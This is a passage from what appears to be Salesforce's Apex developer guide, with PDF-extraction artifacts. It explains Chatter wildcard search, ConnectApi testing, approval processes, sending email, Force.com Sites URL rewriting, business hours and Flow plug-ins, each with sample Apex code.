A common use for wildcards is searching a feed. Pass a search string and wildcards in the q parameter. This example is a
Chatter REST API request:
/chatter/feed-items?q=chat*

This example is a Chatter in Apex method call:
ConnectApi.ChatterFeeds.searchFeedItems(null, 'chat*');

You can specify the following wildcard characters to match text patterns in your search:
Wildcard

Description

*

Asterisks match zero or more characters at the middle or end (not the beginning) of your search term. For
example, a search for john* finds items that start with john, such as, john, johnson, or johnny. A search for

258
Using Salesforce Features with Apex

Wildcard

Testing ConnectApi Code

Description
mi* meyers finds items with mike meyers or michael meyers. If you are searching for a literal asterisk in a
word or phrase, then escape the asterisk (precede it with the  character).

?

Question marks match only one character in the middle or end (not the beginning) of your search term.
For example, a search for jo?n finds items with the term john or joan but not jon or johan.

When using wildcards, consider the following issues:
•
•
•

•
•

Wildcards take on the type of the preceding character. For example, aa*a matches aaaa and aabcda, but not aa2a or aa.!//a,
and p?n matches pin and pan, but not p1n or p!n. Likewise, 1?3 matches 123 and 143, but not 1a3 or 1b3.
A wildcard (*) is appended at the end of single characters in Chinese, Japanese, Korean, and Thai (CJKT) searches, except
in exact phrase searches.
The more focused your wildcard search, the faster the search results are returned, and the more likely the results will reflect
your intention. For example, to search for all occurrences of the word prospect (or prospects, the plural form), it is
more efficient to specify prospect* in the search string than to specify a less restrictive wildcard search (such as prosp*)
that could return extraneous matches (such as prosperity).
Tailor your searches to find all variations of a word. For example, to find property and properties, you would specify
propert*.
Punctuation is indexed. To find * or ? inside a phrase, you must enclose your search string in quotation marks and you
must escape the special character. For example, "where are you?" finds the phrase where are you?. The escape
character () is required in order for this search to work correctly.

Testing ConnectApi Code
Like all Apex code, Chatter in Apex code requires test coverage.
Chatter in Apex methods don’t run in system mode, they run in the context of the current user (also called the context user or
the logged-in user). The methods have access to whatever the current user has access to. Chatter in Apex does not support the
runAs system method.
Most Chatter in Apex method calls require access to real organization data, and fail if used in test methods not marked
@IsTest(SeeAllData=true).
Some Chatter in Apex methods, such as getFeedItemsFromFeed, are not permitted to access organization data in tests
and must be used in conjunction with special test methods that register outputs to be returned in a test context. A test method
name prepends setTest to the regular method name. The test method has a signature (combination of arguments) to match
every signature of the regular method. If the regular method has three overloads, the test method has three overloads.
Using Chatter in Apex test methods is similar to testing Web services in Apex. First, build the data you expect the method
to return. To build data, create output objects and set their properties. To create objects, you can use no-argument constructors
for any non-abstract output classes.
After you build the data, call the test method to register the data. Call the test method that has the same signature as the
regular method you’re testing.
After you register the test data, run the regular method. When you run the regular method, the value that was registered with
matching arguments is returned.
Important: You must use the test method signature that matches the regular method signature. When you call the
regular method, if data wasn't registered with the matching set of arguments, you receive an exception.
This table shows which methods are associated with which test methods:

259
Using Salesforce Features with Apex

Differences Between ConnectApi Classes and Other Apex
Classes

Get Method

Test Method

getFeedItems

setTestGetFeedItems

getFeedItemsFromFeed

setTestGetFeedItemsFromFeed

getFeedItemsFromFilterFeed

setTestGetFeedItemsFromFilterFeed

searchFeedItemsInFeed

setTestSearchFeedItemsInFeed

searchFeedItemsInFilterFeed

setTestSearchFeedItemsInFilterFeed

This example shows a test that constructs an ConnectApi.FeedItemPage and registers it to be returned when
getFeedItemsFromFeed is called with a particular combination of parameters.
global class NewsFeedClass {
global static Integer getNewsFeedCount() {
ConnectApi.FeedItemPage items =
ConnectApi.ChatterFeeds.getFeedItemsFromFeed(null,
ConnectApi.FeedType.News, 'me');
return items.items.size();
}
}
@isTest
private class NewsFeedClassTest {
@IsTest
static void doTest() {
// Build a simple feed item
ConnectApi.FeedItemPage testPage = new ConnectApi.FeedItemPage();
List<ConnectApi.FeedItem> testItemList = new List<ConnectApi.FeedItem>();
testItemList.add(new ConnectApi.FeedItem());
testItemList.add(new ConnectApi.FeedItem());
testPage.items = testItemList;
// Set the test data
ConnectApi.ChatterFeeds.setTestGetFeedItemsFromFeed(null,
ConnectApi.FeedType.News, 'me', testPage);
// The method returns the test page, which we know has two items in it.
Test.startTest();
System.assertEquals(2, NewsFeedClass.getNewsFeedCount());
Test.stopTest();
}
}

Differences Between ConnectApi Classes and Other Apex Classes
Please be aware of these additional differences between ConnectApi classes and other Apex classes.
System mode and context user
Chatter in Apex methods don’t run in system mode, they run in the context of the current user (also called the context
user or the logged-in user). The methods have access to whatever the current user has access to. Chatter in Apex does
not support the runAs system method. When a method takes a subjectId argument, often that subject must be the
context user. In these cases, you can use the string me to specify the context user instead of an ID.
with sharing and without sharing

Chatter in Apex ignores the with sharing and without sharing keywords. Instead, all security, field level sharing,
and visibility is controlled by the context user. For example, if a context user is a member of a private group, ConnectApi

260
Using Salesforce Features with Apex

Approval Processing

classes can post to that group. If the context user is not a member of a private group, the code can’t see the feed items
for that group and cannot post to the group.
Asynchronous operations
Some Chatter in Apex operations are asynchronous, that is, they don’t occur immediately. For example, if your code
adds a feed item for a user, it is not immediately available in the news feed. Another example: when you add a photo, it
is not available immediately. For testing, this means that if you add a photo, you can’t retrieve it immediately.
No XML Support in Apex REST
Apex REST does not support XML serialization and deserialization of Chatter in Apex objects. Apex REST does
support JSON serialization and deserialization of Chatter in Apex objects.
Empty log entries
Information about Chatter in Apex objects doesn’t appear in VARIABLE_ASSIGNMENT log events.
No Apex SOAP Web services support
Chatter in Apex objects cannot be used in Apex SOAP Web services indicated with the keyword webservice.

Approval Processing
An approval process is an automated process your organization can use to approve records in Salesforce. An approval process
specifies the steps necessary for a record to be approved and who must approve it at each step. A step can apply to all records
included in the process, or just records that meet certain administrator-defined criteria. An approval process also specifies the
actions to take when a record is approved, rejected, recalled, or first submitted for approval.
Apex provides support for creating a programmatic approval process to extend your existing approval processes with the
following:
•

The Apex process classes: Use these to create approval requests, as well as process the results of those requests. For more
information, see the following:
◊
◊
◊
◊

•

ProcessRequest Class
ProcessResult Class
ProcessSubmitRequest Class
ProcessWorkitemRequest Class

The Approval namespace process method: Use this to submit an approval request, as well as approve or reject existing
approval requests. For more information, see Approval Class.
Note: The process method counts against the DML limits for your organization. See Understanding Execution
Governors and Limits.

For more information on approval processes, see “Getting Started with Approval Processes” in the Salesforce online help.
Apex Approval Processing Example

261
Using Salesforce Features with Apex

Apex Approval Processing Example

Apex Approval Processing Example
The following sample code initially submits a record for approval, then approves the request. This example requires an approval
process to be set up for accounts.
public class TestApproval {
void submitAndProcessApprovalRequest() {
// Insert an account
Account a = new Account(Name='Test',annualRevenue=100.0);
insert a;
// Create an approval request for the account
Approval.ProcessSubmitRequest req1 =
new Approval.ProcessSubmitRequest();
req1.setComments('Submitting request for approval.');
req1.setObjectId(a.id);
// Submit the approval request for the account
Approval.ProcessResult result = Approval.process(req1);
// Verify the result
System.assert(result.isSuccess());
System.assertEquals(
'Pending', result.getInstanceStatus(),
'Instance Status'+result.getInstanceStatus());
// Approve the submitted request
// First, get the ID of the newly created item
List<Id> newWorkItemIds = result.getNewWorkitemIds();
// Instantiate the new ProcessWorkitemRequest object and populate it
Approval.ProcessWorkitemRequest req2 =
new Approval.ProcessWorkitemRequest();
req2.setComments('Approving request.');
req2.setAction('Approve');
req2.setNextApproverIds(new Id[] {UserInfo.getUserId()});
// Use the ID from the newly created item to specify the item to be worked
req2.setWorkitemId(newWorkItemIds.get(0));
// Submit the request for approval
Approval.ProcessResult result2 = Approval.process(req2);
// Verify the results
System.assert(result2.isSuccess(), 'Result Status:'+result2.isSuccess());
System.assertEquals(
'Approved', result2.getInstanceStatus(),
'Instance Status'+result2.getInstanceStatus());
}
}

Outbound Email
You can use Apex to send individual and mass email. The email can include all standard email attributes (such as subject line
and blind carbon copy address), use Salesforce email templates, and be in plain text or HTML format, or those generated by
Visualforce.

262
Using Salesforce Features with Apex

Outbound Email

Note: Visualforce email templates cannot be used for mass email.

You can use Salesforce to track the status of email in HTML format, including the date the email was sent, first opened and
last opened, and the total number of times it was opened. (For more information, see “Tracking HTML Email” in the Salesforce
online help.)
To send individual and mass email with Apex, use the following classes:
SingleEmailMessage
Instantiates an email object used for sending a single email message. The syntax is:
Messaging.SingleEmailMessage mail = new Messaging.SingleEmailMessage();

MassEmailMessage
Instantiates an email object used for sending a mass email message. The syntax is:
Messaging.MassEmailMessage mail = new Messaging.MassEmailMessage();

Messaging
Includes the static sendEmail method, which sends the email objects you instantiate with either the
SingleEmailMessage or MassEmailMessage classes, and returns a SendEmailResult object.
The syntax for sending an email is:
Messaging.sendEmail(new Messaging.Email[] { mail } , opt_allOrNone);

where Email is either Messaging.SingleEmailMessage or Messaging.MassEmailMessage.
The optional opt_allOrNone parameter specifies whether sendEmail prevents delivery of all other messages when
any of the messages fail due to an error (true), or whether it allows delivery of the messages that don't have errors
(false). The default is true.
Includes the static reserveMassEmailCapacity and reserveSingleEmailCapacity methods, which can be
called before sending any emails to ensure that the sending organization won't exceed its daily email limit when the
transaction is committed and emails are sent. The syntax is:
Messaging.reserveMassEmailCapacity(count);

and
Messaging.reserveSingleEmailCapacity(count);

where count indicates the total number of addresses that emails will be sent to.
Note the following:
•
•
•

The email is not sent until the Apex transaction is committed.
The email address of the user calling the sendEmail method is inserted in the From Address field of the email header.
All email that is returned, bounced, or received out-of-office replies goes to the user calling the method.
Maximum of 10 sendEmail methods per transaction. Use the Limits methods to verify the number of sendEmail
methods in a transaction.

263
Using Salesforce Features with Apex

•

•

•

Outbound Email

Single email messages sent with the sendEmail method count against the sending organization's daily single email limit.
When this limit is reached, calls to the sendEmail method using SingleEmailMessage are rejected, and the user
receives a SINGLE_EMAIL_LIMIT_EXCEEDED error code. However, single emails sent through the application are allowed.
Mass email messages sent with the sendEmail method count against the sending organization's daily mass email limit.
When this limit is reached, calls to the sendEmail method using MassEmailMessage are rejected, and the user receives
a MASS_MAIL_LIMIT_EXCEEDED error code.
Any error returned in the SendEmailResult object indicates that no email was sent.

Messaging.SingleEmailMessage has a method called setOrgWideEmailAddressId. It accepts an object ID to an
OrgWideEmailAddress object. If setOrgWideEmailAddressId is passed a valid ID, the
OrgWideEmailAddress.DisplayName field is used in the email header, instead of the logged-in user's Display Name.
The sending email address in the header is also set to the field defined in OrgWideEmailAddress.Address.

Note: If both OrgWideEmailAddress.DisplayName and setSenderDisplayName are defined, the user
receives a DUPLICATE_SENDER_DISPLAY_NAME error.
For more information, see Organization-Wide Addresses in the Salesforce online help.

Example
// First, reserve email capacity for the current Apex transaction to ensure
// that we won't exceed our daily email limits when sending email after
// the current transaction is committed.
Messaging.reserveSingleEmailCapacity(2);
// Processes and actions involved in the Apex transaction occur next,
// which conclude with sending a single email.
// Now create a new single email message object
// that will send out a single email to the addresses in the To, CC & BCC list.
Messaging.SingleEmailMessage mail = new Messaging.SingleEmailMessage();
// Strings to hold the email addresses to which you are sending the email.
String[] toAddresses = new String[] {'user@acme.com'};
String[] ccAddresses = new String[] {'smith@gmail.com'};
// Assign the addresses for the To and CC lists to the mail object.
mail.setToAddresses(toAddresses);
mail.setCcAddresses(ccAddresses);
// Specify the address used when the recipients reply to the email.
mail.setReplyTo('support@acme.com');
// Specify the name used as the display name.
mail.setSenderDisplayName('Salesforce Support');
// Specify the subject line for your email address.
mail.setSubject('New Case Created : ' + case.Id);
// Set to True if you want to BCC yourself on the email.
mail.setBccSender(false);
// Optionally append the salesforce.com email signature to the email.
// The email address of the user executing the Apex Code will be used.
mail.setUseSignature(false);
// Specify the text content of the email.
mail.setPlainTextBody('Your Case: ' + case.Id +' has been created.');
mail.setHtmlBody('Your case:<b> ' + case.Id +' </b>has been created.<p>'+
'To view your case <a href=https://na1.salesforce.com/'+case.Id+'>click here.</a>');

264
Using Salesforce Features with Apex

Inbound Email

// Send the email you have created.
Messaging.sendEmail(new Messaging.SingleEmailMessage[] { mail });

Inbound Email
You can use Apex to receive and process email and attachments. The email is received by the Apex email service, and processed
by Apex classes that utilize the InboundEmail object.
Note: The Apex email service is only available in Developer, Enterprise, Unlimited, and Performance Edition
organizations.
See Apex Email Service.

Knowledge Management
Salesforce Knowledge is a knowledge base where users can easily create and manage content, known as articles, and quickly
find and view the articles they need. Users can write, publish, archive, and manage articles using Apex in addition to the
Salesforce user interface.
Use the methods in the KbManagement.PublishingService class to manage the following parts of the lifecycle of an
article and its translations:
•
•
•
•
•
•
•
•

Publishing
Updating
Retrieving
Deleting
Submitting for translation
Setting a translation to complete or incomplete status
Archiving
Assigning review tasks for draft articles or translations
Note: Date values are based on GMT.

To use the methods in this class, you must enable Salesforce Knowledge. See Salesforce Knowledge Implementation Guide
for more information on setting up Salesforce Knowledge.

See Also:
PublishingService Class

Publisher Actions
Note: In the application, QuickActions are referred to as actions or publisher actions.

The publisher actions feature lets you create actions and add them to the Chatter publisher on the home page, the Chatter
tab, and record detail pages. It also allows you to customize the order in which the standard Chatter actions appear, including
Post, File, Link, and Poll.
265
Using Salesforce Features with Apex

Force.com Sites

There are four general types of actions: create actions, log-a-call actions, update actions, and custom actions.
•
•

Create actions let users create records. They’re different from the Quick Create and Create New features on the home page,
because create actions respect validation rules and field requiredness, and you can choose each action’s fields.
Custom actions are Visualforce pages or canvas apps with functionality you define. For example, you might create a custom
action to let users write comments longer than 5000 characters, or one that integrates a video conferencing application so
support agents can communicate visually with customers.

For create, log-a-call, and custom actions, you can create either object-specific actions or global actions. Update actions must
be object-specific.
For more information on publisher actions, see the online help.

See Also:
QuickAction Class
QuickActionRequest Class
QuickActionResult Class
DescribeQuickActionResult Class
DescribeQuickActionDefaultValue Class
DescribeLayoutSection Class
DescribeLayoutRow Class
DescribeLayoutItem Class
DescribeLayoutComponent Class
DescribeAvailableQuickActionResult Class

Force.com Sites
Force.com Sites lets you build custom pages and Web applications by inheriting Force.com capabilities including analytics,
workflow and approvals, and programmable logic. You can manage your Force.com sites in Apex using the methods of the
Site and Cookie classes.

See Also:
Site Class

Rewriting URLs for Force.com Sites
Sites provides built-in logic that helps you display user-friendly URLs and links to site visitors. Create rules to rewrite URL
requests typed into the address bar, launched from bookmarks, or linked from external websites. You can also create rules to
rewrite the URLs for links within site pages. URL rewriting not only makes URLs more descriptive and intuitive for users, it
allows search engines to better index your site pages.
For example, let's say that you have a blog site. Without URL rewriting, a blog entry's URL might look like this:
http://myblog.force.com/posts?id=003D000000Q0PcN

With URL rewriting, your users can access blog posts by date and title, say, instead of by record ID. The URL for one of your
New Year's Eve posts might be: http://myblog.force.com/posts/2009/12/31/auld-lang-syne
You can also rewrite URLs for links shown within a site page. If your New Year's Eve post contained a link to your Valentine's
Day post, the link URL might show: http://myblog.force.com/posts/2010/02/14/last-minute-roses

266
Using Salesforce Features with Apex

Rewriting URLs for Force.com Sites

To rewrite URLs for a site, create an Apex class that maps the original URLs to user-friendly URLs, and then add the Apex
class to your site.
To learn about the methods in the Site.UrlRewriter interface, see UrlRewriter.

Creating the Apex Class
The Apex class that you create must implement the Force.com provided interface Site.UrlRewriter. In general, it must
have the following form:
global class yourClass implements Site.UrlRewriter {
global PageReference mapRequestUrl(PageReference
yourFriendlyUrl)
global PageReference[] generateUrlFor(PageReference[]
yourSalesforceUrls);
}

Consider the following restrictions and recommendations as you create your Apex class:
Class and Methods Must Be Global
The Apex class and methods must all be global.
Class Must Include Both Methods
The Apex class must implement both the mapRequestUrl and generateUrlFor methods. If you don't want to use
one of the methods, simply have it return null.
Rewriting Only Works for Visualforce Site Pages
Incoming URL requests can only be mapped to Visualforce pages associated with your site. You can't map to standard
pages, images, or other entities.
To rewrite URLs for links on your site's pages, use the !URLFOR function with the $Page merge variable. For example,
the following links to a Visualforce page named myPage:
<apex:outputLink value="{!URLFOR($Page.myPage)}"></apex:outputLink>

Note: Visualforce <apex:form> elements with forceSSL=”true” aren't affected by the urlRewriter.

See the “Functions” appendix of the Visualforce Developer's Guide.
Encoded URLs
The URLs you get from using the Site.urlRewriter interface are encoded. If you need to access the unencoded
values of your URL, use the urlDecode method of the EncodingUtil Class.
Restricted Characters
User-friendly URLs must be distinct from Salesforce URLs. URLs with a three-character entity prefix or a 15- or
18-character ID are not rewritten.
You can't use periods in your rewritten URLs.
Restricted Strings
You can't use the following reserved strings as part of a rewritten URL path:
• apexcomponent
• apexpages
• ex
• faces

267
Using Salesforce Features with Apex

•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•

Rewriting URLs for Force.com Sites

flash
flex
google
home
ideas
images
img
javascript
js
lumen
m
resource
search
secur
services
servlet
setup
sfc
sfdc_ns
site
style
vote
widg

Relative Paths Only
The PageReference.getUrl() method only returns the part of the URL immediately following the host name or site prefix
(if any). For example, if your URL is http://mycompany.force.com/sales/MyPage?id=12345, where “sales”
is the site prefix, only /MyPage?id=12345 is returned.
You can't rewrite the domain or site prefix.
Unique Paths Only
You can't map a URL to a directory that has the same name as your site prefix. For example, if your site URL is
http://acme.force.com/help, where “help” is the site prefix, you can't point the URL to help/page. The
resulting path, http://acme.force.com/help/help/page, would be returned instead as
http://acme.force.com/help/page.
Query in Bulk
For better performance with page generation, perform tasks in bulk rather than one at a time for the generateUrlFor
method.
Enforce Field Uniqueness
Make sure the fields you choose for rewriting URLs are unique. Using unique or indexed fields in SOQL for your queries
may improve performance.
You can also use the Site.lookupIdByFieldValue method to look up records by a unique field name and value.
The method verifies that the specified field has a unique or external ID; otherwise it returns an error.
Here is an example, where mynamespace is the namespace, Blog is the custom object name, title is the custom field
name, and myBlog is the value to look for:
Site.lookupIdByFieldValue(Schema.sObjectType.
mynamespace__Blog__c.fields.title__c,'myBlog');

268
Using Salesforce Features with Apex

Rewriting URLs for Force.com Sites

Adding URL Rewriting to a Site
Once you've created the URL rewriting Apex class, follow these steps to add it to your site:
1.
2.
3.
4.

From Setup, click Develop > Sites.
Click New or click Edit for an existing site.
On the Site Edit page, choose an Apex class for URL Rewriter Class.
Click Save.
Note: If you have URL rewriting enabled on your site, all PageReferences are passed through the URL rewriter.

Code Example
In this example, we have a simple site consisting of two Visualforce pages: mycontact and myaccount. Be sure you have “Read”
permission enabled for both before trying the sample. Each page uses the standard controller for its object type. The contact
page includes a link to the parent account, plus contact details.
Before implementing rewriting, the address bar and link URLs showed the record ID (a random 15-digit string), illustrated
in the Figure 5: Site URLs Before Rewriting. Once rewriting was enabled, the address bar and links show more user-friendly
rewritten URLs, illustrated in the Figure 6: Site URLs After Rewriting.
The Apex class used to rewrite the URLs for these pages is shown in Example URL Rewriting Apex Class, with detailed
comments.

Example Site Pages
This section shows the Visualforce for the account and contact pages used in this example.
The account page uses the standard controller for accounts and is nothing more than a standard detail page. This page should
be named myaccount.
<apex:page standardController="Account">
<apex:detail relatedList="false"/>
</apex:page>

The contact page uses the standard controller for contacts and consists of two parts. The first part links to the parent account
using the URLFOR function and the $Page merge variable; the second simply provides the contact details. Notice that the
Visualforce page doesn't contain any rewriting logic except URLFOR. This page should be named mycontact.
<apex:page standardController="contact">
<apex:pageBlock title="Parent Account">
<apex:outputLink value="{!URLFOR($Page.mycontact,null,
[id=contact.account.id])}">{!contact.account.name}
</apex:outputLink>
</apex:pageBlock>
<apex:detail relatedList="false"/>
</apex:page>

Example URL Rewriting Apex Class
The Apex class used as the URL rewriter for the site uses the mapRequestUrl method to map incoming URL requests to
the right Salesforce record. It also uses the generateUrlFor method to rewrite the URL for the link to the account page
in a more user-friendly form.
global with sharing class myRewriter implements Site.UrlRewriter {
//Variables to represent the user-friendly URLs for
//account and contact pages
String ACCOUNT_PAGE = '/myaccount/';

269
Using Salesforce Features with Apex

Rewriting URLs for Force.com Sites

String CONTACT_PAGE = '/mycontact/';
//Variables to represent my custom Visualforce pages
//that display account and contact information
String ACCOUNT_VISUALFORCE_PAGE = '/myaccount?id=';
String CONTACT_VISUALFORCE_PAGE = '/mycontact?id=';
global PageReference mapRequestUrl(PageReference
myFriendlyUrl){
String url = myFriendlyUrl.getUrl();
if(url.startsWith(CONTACT_PAGE)){
//Extract the name of the contact from the URL
//For example: /mycontact/Ryan returns Ryan
String name = url.substring(CONTACT_PAGE.length(),
url.length());
//Select the ID of the contact that matches
//the name from the URL
Contact con = [SELECT Id FROM Contact WHERE Name =:
name LIMIT 1];
//Construct a new page reference in the form
//of my Visualforce page
return new PageReference(CONTACT_VISUALFORCE_PAGE + con.id);
}
if(url.startsWith(ACCOUNT_PAGE)){
//Extract the name of the account
String name = url.substring(ACCOUNT_PAGE.length(),
url.length());
//Query for the ID of an account with this name
Account acc = [SELECT Id FROM Account WHERE Name =:name LIMIT 1];
//Return a page in Visualforce format
return new PageReference(ACCOUNT_VISUALFORCE_PAGE + acc.id);
}
//If the URL isn't in the form of a contact or
//account page, continue with the request
return null;
}
global List<PageReference> generateUrlFor(List<PageReference>
mySalesforceUrls){
//A list of pages to return after all the links
//have been evaluated
List<PageReference> myFriendlyUrls = new List<PageReference>();
//a list of all the ids in the urls
List<id> accIds = new List<id>();
// loop through all the urls once, finding all the valid ids
for(PageReference mySalesforceUrl : mySalesforceUrls){
//Get the URL of the page
String url = mySalesforceUrl.getUrl();
//If this looks like an account page, transform it
if(url.startsWith(ACCOUNT_VISUALFORCE_PAGE)){
//Extract the ID from the query parameter
//and store in a list
//for querying later in bulk.
String id= url.substring(ACCOUNT_VISUALFORCE_PAGE.length(),
url.length());
accIds.add(id);
}
}
// Get all the account names in bulk
List <account> accounts = [SELECT Name FROM Account WHERE Id IN :accIds];
// make the new urls
Integer counter = 0;

270
Using Salesforce Features with Apex

Rewriting URLs for Force.com Sites

// it is important to go through all the urls again, so that the order
// of the urls in the list is maintained.
for(PageReference mySalesforceUrl : mySalesforceUrls) {
//Get the URL of the page
String url = mySalesforceUrl.getUrl();
if(url.startsWith(ACCOUNT_VISUALFORCE_PAGE)){
myFriendlyUrls.add(new PageReference(ACCOUNT_PAGE + accounts.get(counter).name));
counter++;
} else {
//If this doesn't start like an account page,
//don't do any transformations
myFriendlyUrls.add(mySalesforceUrl);
}
}
//Return the full list of pages
return myFriendlyUrls;
}
}

Before and After Rewriting
Here is a visual example of the results of implementing the Apex class to rewrite the original site URLs. Notice the ID-based
URLs in the first figure, and the user-friendly URLs in the second.

Figure 5: Site URLs Before Rewriting
The numbered elements in this figure are:
1. The original URL for the contact page before rewriting
2. The link to the parent account page from the contact page
3. The original URL for the link to the account page before rewriting, shown in the browser's status bar

271
Using Salesforce Features with Apex

Support Classes

Figure 6: Site URLs After Rewriting
The numbered elements in this figure are:
1. The rewritten URL for the contact page after rewriting
2. The link to the parent account page from the contact page
3. The rewritten URL for the link to the account page after rewriting, shown in the browser's status bar

Support Classes
Support classes allow you to interact with records commonly used by support centers, such as business hours and cases.

Working with Business Hours
Business hours are used to specify the hours at which your customer support team operates, including multiple business hours
in multiple time zones.
This example finds the time one business hour from startTime, returning the Datetime in the local time zone. It gets the
default business hours by querying BusinessHours. Also, it calls the BusinessHours add method.
// Get the default business hours
BusinessHours bh = [SELECT Id FROM BusinessHours WHERE IsDefault=true];
// Create Datetime on May 28, 2008 at 1:06:08 AM in local timezone.
Datetime startTime = Datetime.newInstance(2008, 5, 28, 1, 6, 8);
// Find the time it will be one business hour from May 28, 2008, 1:06:08 AM using the
// default business hours. The returned Datetime will be in the local timezone.
Datetime nextTime = BusinessHours.add(bh.id, startTime, 60 * 60 * 1000L);

This example finds the time one business hour from startTime, returning the Datetime in GMT:
// Get the default business hours
BusinessHours bh = [SELECT Id FROM BusinessHours WHERE IsDefault=true];
// Create Datetime on May 28, 2008 at 1:06:08 AM in local timezone.
Datetime startTime = Datetime.newInstance(2008, 5, 28, 1, 6, 8);
// Find the time it will be one business hour from May 28, 2008, 1:06:08 AM using the

272
Using Salesforce Features with Apex

Visual Workflow

// default business hours. The returned Datetime will be in GMT.
Datetime nextTimeGmt = BusinessHours.addGmt(bh.id, startTime, 60 * 60 * 1000L);

The next example finds the difference between startTime and nextTime:
// Get the default business hours
BusinessHours bh = [select id from businesshours where IsDefault=true];
// Create Datetime on May 28, 2008 at 1:06:08 AM in local timezone.
Datetime startTime = Datetime.newInstance(2008, 5, 28, 1, 6, 8);
// Create Datetime on May 28, 2008 at 4:06:08 PM in local timezone.
Datetime endTime = Datetime.newInstance(2008, 5, 28, 16, 6, 8);
// Find the number of business hours milliseconds between startTime and endTime as
// defined by the default business hours. Will return a negative value if endTime is
// before startTime, 0 if equal, positive value otherwise.
Long diff = BusinessHours.diff(bh.id, startTime, endTime);

Working with Cases
Incoming and outgoing email messages can be associated with their corresponding cases using the Cases class
getCaseIdFromEmailThreadId method. This method is used with Email-to-Case, which is an automated process that
turns emails received from customers into customer service cases.
The following example uses an email thread ID to retrieve the related case ID.
public class GetCaseIdController {
public static void getCaseIdSample() {
// Get email thread ID
String emailThreadId = '_00Dxx1gEW._500xxYktg';
// Call Apex method to retrieve case ID from email thread ID
ID caseId = Cases.getCaseIdFromEmailThreadId(emailThreadId);
}
}

See Also:
BusinessHours Class
Cases Class

Visual Workflow
Visual Workflow allows administrators to build applications, known as flows, that guide users through screens for collecting
and updating data.
For example, you can use Visual Workflow to script calls for a customer support center or to generate real-time quotes for a
sales organization. You can embed a flow in a Visualforce page and access it in a Visualforce controller using Apex.
You can retrieve flow variables for a specific flow in Apex. The Flow.Interview Apex class provides the getVariableValue
method for retrieving a flow variable, which can be in the flow embedded in the Visualforce page, or in a separate flow that
is called by a subflow element. This example shows how to use this method to obtain breadcrumb (navigation) information
from the flow embedded in the Visualforce page. If that flow contains subflow elements, and each of the referenced flows also
contains a vaBreadCrumb variable, the Visualforce page can provide users with breadcrumbs regardless of which flow the
interview is running.
public class SampleContoller {

273
Using Salesforce Features with Apex

Passing Data to a Flow Using the Process.Plugin Interface

// Instance of the flow
public Flow.Interview.Flow_Template_Gallery myFlow {get; set;}
public String getBreadCrumb() {
String aBreadCrumb;
if (myFlow==null) { return 'Home';}
else aBreadCrumb = (String) myFlow.getVariableValue('vaBreadCrumb');
return(aBreadCrumb==null ? 'Home': aBreadCrumb);
}
}

See Also:
Interview Class

Passing Data to a Flow Using the Process.Plugin Interface
Process.Plugin is a built-in interface that allows you to process data within your organization and pass it to a specified

flow. The interface exposes Apex as a service, which accepts input values and returns output back to the flow.
When you define an Apex class that implements the Process.Plugin interface in your organization, the Cloud Flow
Designer displays the Apex class in the Palette.
Process.Plugin has the following top level classes:

•
•
•

Process.PluginRequest
Process.PluginResult
Process.PluginDescribeResult

The Process.PluginRequest class passes input parameters from the class that implements the interface to the flow.
The Process.PluginResult class returns output parameters from the class that implements the interface to the flow.
The Process.PluginRequest class passes input parameters from a flow to the class that implements the interface.
When you’re writing Apex unit tests, you must instantiate a class and pass it in the interface invoke method. You must also
create a map and use it in the constructor to pass in the parameters needed by the system.
For more information, see Using the Process.PluginRequest Class on page 276.
The Process.PluginDescribeResult class is used to determine the input parameters and output parameters needed by
the Process.PluginResult plug-in.
Implementing the Process.Plugin Interface
Using the Process.PluginRequest Class
Using the Process.PluginResult Class
Using the Process.PluginDescribeResult Class
Process.Plugin Data Type Conversions
Sample Process.Plugin Implementation for Lead Conversion

Implementing the Process.Plugin Interface
Process.Plugin is a built-in interface that allows you to pass data between your organization and a specified flow.

The following are the methods that must be called by the class that implements the Process.Plugin interface:
274
Using Salesforce Features with Apex

Name

Arguments

Implementing the Process.Plugin Interface

Return Type

Description

Process.PluginDescribeResult Returns a
Process.PluginDescribeResult

describe

object that describes this method call.
invoke

Process.PluginRequest

Process.PluginResult

Primary method that the system
invokes when the class that
implements the interface is
instantiated.

Example Implementation
global class flowChat implements Process.Plugin {
// The main method to be implemented. The Flow calls this at runtime.
global Process.PluginResult invoke(Process.PluginRequest request) {
// Get the subject of the Chatter post from the flow
String subject = (String) request.inputParameters.get('subject');
// Use the Chatter APIs to post it to the current user's feed
FeedItem fItem = new FeedItem();
fItem.ParentId = UserInfo.getUserId();
fItem.Body = 'Force.com flow Update: ' + subject;
insert fItem;
// return to Flow
Map<String,Object> result = new Map<String,Object>();
return new Process.PluginResult(result);
}
// Returns the describe information for the interface
global Process.PluginDescribeResult describe() {
Process.PluginDescribeResult result = new Process.PluginDescribeResult();
result.Name = "flowchatplugin";
result.Tag = "chat";
result.inputParameters = new
List<Process.PluginDescribeResult.InputParameter>{
new Process.PluginDescribeResult.InputParameter('subject',
Process.PluginDescribeResult.ParameterType.STRING, true)
};
result.outputParameters = new
List<Process.PluginDescribeResult.OutputParameter>{ };
return result;
}
}

Test Class
The following is a test class for the above class.
@isTest
private class flowChatTest {
static testmethod void flowChatTests() {
flowChat plugin = new flowChat();
Map<String,Object> inputParams = new Map<String,Object>();
string feedSubject = 'Flow is alive';
InputParams.put('subject', feedSubject);
Process.PluginRequest request = new Process.PluginRequest(inputParams);

275
Using Salesforce Features with Apex

Using the Process.PluginRequest Class

plugin.invoke(request);
}
}

Using the Process.PluginRequest Class
The Process.PluginRequest class passes input parameters from the class that implements the interface to the flow.
This class has no methods.
Constructor signature:
Process.PluginRequest (Map<String,Object>)

The following is an example of instantiating the Process.PluginRequest class with one input parameter:
Map<String,Object> inputParams = new Map<String,Object>();
string feedSubject = 'Flow is alive';
InputParams.put('subject', feedSubject);
Process.PluginRequest request = new Process.PluginRequest(inputParams);

Code Example
In this example, the code returns the subject of a Chatter post from a flow and posts it to the current user's feed.
global Process.PluginResult invoke(Process.PluginRequest request) {
// Get the subject of the Chatter post from the flow
String subject = (String) request.inputParameters.get('subject');
// Use the Chatter APIs to post it to the current user's feed
FeedPost fpost = new FeedPost();
fpost.ParentId = UserInfo.getUserId();
fpost.Body = 'Force.com flow Update: ' + subject;
insert fpost;
// return to Flow
Map<String,Object> result = new Map<String,Object>();
return new Process.PluginResult(result);
}
// describes the interface
global Process.PluginDescribeResult describe() {
Process.PluginDescribeResult result = new Process.PluginDescribeResult();
